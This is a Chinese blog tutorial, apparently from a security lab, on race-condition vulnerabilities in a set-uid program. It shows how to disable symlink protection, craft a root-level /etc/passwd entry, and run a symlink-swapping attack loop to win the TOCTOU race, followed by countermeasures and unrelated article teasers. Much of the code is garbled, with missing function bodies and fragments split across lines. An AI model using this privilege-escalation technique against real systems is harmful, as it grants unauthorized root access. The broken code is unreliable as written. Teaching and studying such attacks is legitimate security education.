競爭條件漏洞

2021-10-07 22:26:57 字數 3569 閱讀 2992

當乙個程式的兩個併發執行緒同時訪問共享資源時,如果執行時間和順序不同,會對結果產生影響,這時就稱作發生了競爭條件。

髒牛靜態條件漏洞:它允許攻擊者修改任何可讀但不可寫的檔案,攻擊者可以通過該漏洞獲取root許可權,該漏洞還影響了基於linux核心的安全系統。

熔斷和幽靈漏洞:導致使用者讀取到它們本來讀不到的資訊。

/tmp目錄常被程式用來儲存臨時檔案,且任何人都可以在該目錄中建立檔案,但普通使用者不能修改其他人放在該目錄中的檔案。

當普通使用者執行set-uid程式時,真實使用者id不是root,但是有效使用者id為root,所以程式以root許可權執行,它可以修改/tmp中的任何檔案。

為了預防使用者通過此特權程式修改他人的檔案,該程式使用access系統呼叫函式來保護真實使用者擁有對目標檔案的寫入許可權。

if(!

access

("/tmp/x"

, w_ok)

)else

贏得競爭條件

下面是乙個執行在root許可權下的set-uid程式,這個程式的目的使建立乙個檔案並寫入資料,為了放置影響到已有檔案,該程式先檢查/tmp/x檔案是否存在,只有當該檔案不存在是,程式才繼續執行open()系統呼叫,在系統呼叫過程中用到了o_creat標誌,該標誌的作用是當檔案不存在時,根據檔名建立乙個新檔案並開啟它。

file =

"/tmp/x"

fileexist =

check_file_existence

(file);if

( fileexist == false)

下面程式把從使用者處得到的輸入寫入到乙個叫做/tmp/xyz的檔案,這個程式是具有root許可權的set-uid程式,在使用者開啟這個檔案寫入資料之前,程式會檢查真實使用者id是否有對這個檔案有寫許可權,如果有,程式會用fopen()函式開啟這個檔案,fopen()函式實際呼叫了open()系統呼叫,因此它檢查的是有效使用者id。
#include

#include

intmain()

else

printf

("no permission \n");

}

這個程式在access()函式和fopen()函式之間有競態條件問題,一旦這個漏洞被攻擊,則該程式可以修改受保護的檔案,而且寫入的內容是可控的(通過scanf()函式提供),因此,利用這個特權程式的靜態條件漏洞,攻擊者可以向任意檔案中寫入任意內容。

編譯上述**

[07/09/20]seed@vm:/tmp$ touch xyz

[07/09/20]seed@vm:~/.../race-condition$ gcc -o vulp vulp.c

[07/09/20]seed@vm:~/.../race-condition$ sudo

chown root vulp

[07/09/20]seed@vm:~/.../race-condition$ sudo

chmod 4755 vulp

因為許多競態條件攻擊與/tmp目錄中的符號鏈結檔案有關,所以ubuntu採用一種保護措施限制乙個程式可以使用乙個全域性可寫目錄中的符號鏈結,如想要攻擊成功,需要關閉該保護措施。

[07/09/20]seed@vm:~/.../race-condition$ sudo sysctl -w fs.protected_symlinks=0

fs.protected_symlinks = 0

在攻擊者,選擇密碼檔案/etc/passwd作為目標,普通使用者無法修改該檔案,但通過利用這個漏洞,希望在密碼檔案中新增一條記錄,建立乙個擁有root許可權的使用者。

在密碼檔案中,每乙個使用者擁有一項資料,例如root使用者:

root:x:0:0:root:/root:/bin/bash

因此我們構建/etc/passwd下乙個擁有root許可權的使用者的資料項如下,將此資料專案寫入passwd_input檔案中。

test:u6amy0wojraho:0:0:test:/root:/bin/bash

為了攻擊競態條件漏洞,需要產生兩個互相競爭的程序,這兩個程序分別為目標程序和攻擊程序,目標程序執行特權程式,因為不太可能以此贏得競爭條件,因此需要不停地執行目標程序,即便需要嘗試成千上萬次,只要贏得了一次,便可以攻擊成功。

攻擊程序**如下,攻擊程序需要和目標程序並行執行,這個程序不停的改變/tmp/xyz的指向,為了改變乙個符號鏈結,需要刪除已有來凝結,然後建立乙個新的鏈結。先讓/tmp/xyz指向/dev/null,從而可以通過access()函式檢查,檔案/dev/null是乙個特殊的裝置,它對任何人都是可寫的,寫入其中的內容可能會被丟棄,之後讓程式休眠一會,然後,讓/tmp/xyz指向目標檔案/etc/passwd,不停的執行這兩個操作來和目標程序競爭。

#include

intmain()

return0;

}

目標程序**如下,目標程序不斷執行存在漏洞的vulp程式,並且根據/etc/passwd檔案是否已經被修改來判斷攻擊是否成功。

#!/bin/bash

check_file=

"ls -l /etc/passwd"

old=

$($check_file)

new=

$($check_file)

while

["$old"

=="$new"]do

./vulp < passwd_input

new=

$($check_file)

done

echo

"stop...the passwd file has been changed"

現在乙個視窗執行攻擊程式,然後再另外乙個視窗執行目標程式,最初目標程式內部執行的特權程式會不停的輸出「no permission」,這是access()函式檢查失敗所導致的。

[07/09/20]seed@vm:~/.../race-condition$ ./attack_process 

#->在此處會一直迴圈修改程式鏈結

原子操作

f=

open

("/tmp/x"

,o_write | o_real_user_id)

;

重複檢查和使用

粘滯符號鏈結保護

sudo sysctl -w fs.protected_symlinks=1
最小特權原則

uid_t real_uid =

getuid()

;uid_t eff_uid =

geteuid()

;seteuid

(real_uid)

;f =

open

("/tmp/x"

,o_write);if

(f!=-1

)else

seteuid

(eff_uid)

;

條件競爭漏洞

競爭條件發生在多個執行緒同時訪問同乙個共享 變數 檔案等沒有進行鎖操作或者同步操作的場景中。開發者在進行 開發時常常傾向於認為 會以線性的方式執行,但他們忽視了並行伺服器會併發執行多個執行緒,這就會導致意想不到的結果。執行緒同步機制確保兩個及以上的併發程序或執行緒不同時執行某些特定的程式段,也被稱之...

競爭條件(race condition)

在一些作業系統中,協作的程序可能共享一些彼此都能讀寫的公用儲存區。這個公用儲存區可能在記憶體中 可能是在核心資料結構中 也可能是乙個共享檔案。這裡共享儲存區的位置並不影響通訊的本質及其帶來的問題。為了理解實際中程序間通訊如何工作,我們考慮乙個簡單但很普遍的例子 乙個假離線列印程式。當乙個程序需要列印...

Web條件競爭

最近,正好作業系統課上正在學程序的競爭關係,再加上寒假安恆杯2月賽上有道web題考到了條件競爭漏洞的利用,所以就系統的學習和總結下條件競爭漏洞。一 漏洞成因 執行緒程式設計中,為了保證資料操作的一致性,作業系統引入了鎖機制,用於保證臨界區 的安全。通過鎖機制,能夠保證在多核多執行緒環境中,在某乙個時...